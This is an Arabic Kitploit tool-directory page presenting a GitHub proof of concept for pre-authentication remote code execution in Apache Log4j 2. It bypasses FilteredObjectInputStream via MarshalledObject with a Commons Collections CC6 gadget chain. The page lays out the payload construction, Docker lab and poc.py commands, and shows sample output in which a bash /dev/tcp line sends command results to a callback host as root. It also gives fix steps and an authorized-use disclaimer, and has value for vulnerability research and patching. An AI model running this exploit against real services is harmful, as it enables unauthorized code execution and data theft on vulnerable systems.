Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4j2-rce — ثغرة تنفيذ برمجيات عن بُعد (RCE) قبل المصادقة عبر تجاوز FilteredObjectInputStream MarshalledObject في Apache Log4j 2 | Kitploit
أدوات/GitHubGitHub/hypnguyen1209/log4j2-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتطوير الحمولاتاستغلال الملفات الثنائية
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

ثغرة تنفيذ برمجيات عن بُعد (RCE) قبل المصادقة عبر تجاوز FilteredObjectInputStream MarshalledObject في Apache Log4j 2

عرض المستودع
37981منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تجاوز Log4j FilteredObjectInputStream

تنفيذ أوامر عن بُعد بدون مصادقة (Pre-auth RCE) على أي خدمة Java تقوم بإلغاء تسلسل LogEvent عبر FilteredObjectInputStream الخاص بـ Log4j. لا حاجة لأي بيانات اعتماد.

تم الإبلاغ عنها كـ GitHub issue #4255 في 24 أغسطس 2026.

ما الذي يفعله

يوفّر Log4j FilteredObjectInputStream (FOIS) كغلاف آمن لإلغاء التسلسل. يقوم بتجاوز resolveClass() مع قائمة سماح بحيث يمكن فقط لـ org.apache.logging.log4j.* و java.lang.* و java.util.* وبعض الفئات الصريحة المرور.

إحدى تلك الفئات الصريحة هي java.rmi.MarshalledObject:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- المشكلة
        ...);

MarshalledObject.get() ينشئ ObjectInputStream جديدًا وعاديًا داخليًا. بدون أي فلتر. أي شيء مغلّف داخل MarshalledObject يتم إلغاء تسلسله بدون أي قيود، متجاوزًا قائمة السماح تمامًا.

يقوم Log4j نفسه بهذا التغليف. LogEventProxy (وكيل التسلسل لكل LogEvent) يخزّن رسالة الحدث في حقل MarshalledObject<Message>. عند إلغاء التسلسل، يستدعي marshalledMessage.get() لاستعادة الرسالة. هذا الاستدعاء ينشئ التدفق غير المفلتر. انتهت اللعبة.

كيف يتم تجاوز FOIS

يرى الفلتر فقط واصفات الفئات ذات المستوى الأعلى في التدفق:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

يتحقق FOIS من LogEventProxy (حزمة log4j، مسموح)، و MarshalledObject (في قائمة السماح)، و byte[] (بدائي). كلها تمر. سلسلة أدوات CC6 مخفية داخل MarshalledObject.objBytes كبايتات خام. لا يراها FOIS أبدًا.

عندما يتم تشغيل LogEventProxy.readResolve():

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // ObjectInputStream غير مفلتر
        } catch (final Exception ex) {
            // تجاهلني
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() ينشئ ObjectInputStream عاديًا، وتُفعَّل سلسلة CC6، ويتم تنفيذ الأمر. كتلة الالتقاط تبتلع ClassCastException عندما لا تكون نتيجة الأداة Message، لذا يستجيب الخادم بشكل طبيعي. لا خطأ، ولا إدخال سجل.

للمقارنة، يقوم ObjectMessage بذلك بشكل صحيح:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // ينشئ تدفقًا داخليًا مفلترًا
}

يجب أن يستخدم LogEventProxy نفس هذا النمط لكنه لا يفعل.

كيف يعمل الهجوم

root@kitploit:~
Attacker                                   Target (FOIS-based receiver)
   |                                              |
   |  HTTP POST /log                              |
   |  Body: serialized LogEventProxy              |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ log4j package
   |                   ├── resolveClass(MarshalledObject)  ✓ allowlist
   |                   └── resolveClass(byte[])            ✓ primitive
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   NO FILTER
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

يستجيب الخادم بـ 200 ويعالج الحدث كما لو لم يحدث شيء.

بناء الحمولة

الحيلة هي إدخال سلسلة CC6 داخل MarshalledObject.objBytes دون أن تُفعَّل مبكرًا.

GadgetMessage ينفّذ Message ويتجاوز writeReplace() لإرجاع أداة CC6:

  1. أنشئ Log4jLogEvent مع GadgetMessage كرسالته.
  2. قم بتسلسله. LogEventProxy.writeObject() يستدعي marshall(message)، الذي يغذّي GadgetMessage إلى مُنشئ MarshalledObject.
  3. المُنشئ يسلسل GadgetMessage. يتم تشغيل writeReplace() ويستبدل بـ HashSet الخاص بـ CC6.
  4. الآن MarshalledObject.objBytes يحتوي على سلسلة CC6. GadgetMessage لا يظهر أبدًا على الشبكة.

GadgetMessage هو من جانب المهاجم فقط. لا يحتاج إلى أن يكون في مسار الفئات (classpath) للهدف.

الإصدارات المتأثرة

المكوّنقابل للاختراق
log4j-api (FilteredObjectInputStream)2.11.0 إلى 2.24.3
log4j-core (حقل LogEventProxy MarshalledObject)2.8.0 إلى 2.24.3

يحتاج الهدف أيضًا إلى مكتبة أدوات (gadget) في مسار الفئات. يستخدم هذا الإثبات المفاهيمي (PoC) مكتبة Commons Collections 3.2.1 (سلسلة CC6).

تشغيله

المتطلبات: Java 11+، Maven، Python 3.10+، Docker (لمختبر الضحية فقط)

بناء وبدء الضحية:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

بناء الاستغلال (أو دع poc.py يقوم بذلك في أول تشغيل):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

التشغيل:

root@kitploit:~
# --lhost هو عنوان IP الخاص بك الذي يمكن الوصول إليه من الهدف
# لمختبر Docker على نفس المضيف، استخدم عنوان جسر docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

المخرجات:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

منفذ استدعاء مخصص:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

كيف يعمل poc.py

  1. في أول تشغيل، يستدعي mvn package في exploit/ لتجميع PayloadGenerator وسحب التبعيات. يتخطى ذلك في التشغيلات اللاحقة.
  2. يشغّل java -cp exploit/target/... PayloadGenerator <cmd> على المضيف. يُخرج LogEvent مسلسلًا بترميز base64 مع CC6 داخل MarshalledObject.
  3. يفتح مستمع TCP على --lport (الافتراضي 9999) لاستقبال مخرجات الأمر.
  4. يرسل البايتات الخام كـ HTTP POST إلى نقطة نهاية /log على الهدف.
  5. تنفّذ الحمولة الأمر على الهدف وتعيد المخرجات إلى المستمع عبر bash /dev/tcp.

الملفات

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # سكربت الاستغلال
├── exploit/                        # المهاجم (يعمل على المضيف)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # Message مع writeReplace()
└── lab/                            # الضحية (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # نقطة نهاية HTTP تستخدم FOIS

lab/ هو الضحية. HttpLogReceiver هو مستقبل سجلات HTTP يستخدم FilteredObjectInputStream. إعداد افتراضي، بدون علامات تصحيح، بدون نقاط ضعف مصطنعة. مكتبة Commons Collections في مسار الفئات كاعتماد انتقالي واقعي.

exploit/ هو أدوات المهاجم. PayloadGenerator يبني الحمولة المسلسلة على المضيف. لا يلمس حاوية الضحية أبدًا.

الإصلاح

  1. أزل java.rmi.MarshalledObject من REQUIRED_JAVA_CLASSES.
  2. استبدل حقل MarshalledObject<Message> في LogEventProxy بحقل byte[] مسلسل عبر SerializationUtil.writeWrappedObject() / readWrappedObject(). هذا هو نفس النمط الذي يستخدمه ObjectMessage بشكل صحيح بالفعل.

إصدارات Commons Collections

CC 3.2.1 والإصدارات الأقدم: InvokerTransformer يُسلسل بحرية. تعمل CC6 كما هي.

CC 3.2.2 (نوفمبر 2015): أضاف حارس تسلسل في InvokerTransformer يمنع السلسلة ما لم يكن org.apache.commons.collections.enableUnsafeSerialization مضبوطًا على true.

تجاوز الفلتر موجود بغض النظر عن إصدار CC. حارس CC هو دفاع متعمق في طبقة الأدوات، وليس إصلاحًا للفلتر المعطوب. أي مكتبة أدوات أخرى غير محمية (Groovy، BeanShell، Spring Beans، إلخ) تتيح نفس الهجوم.

التنظيف

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

قانوني

للاستخدام في الاختبارات المصرح بها فقط. احصل على إذن كتابي قبل تشغيل هذا ضد أي شيء لا تملكه.

تنزيل الأداة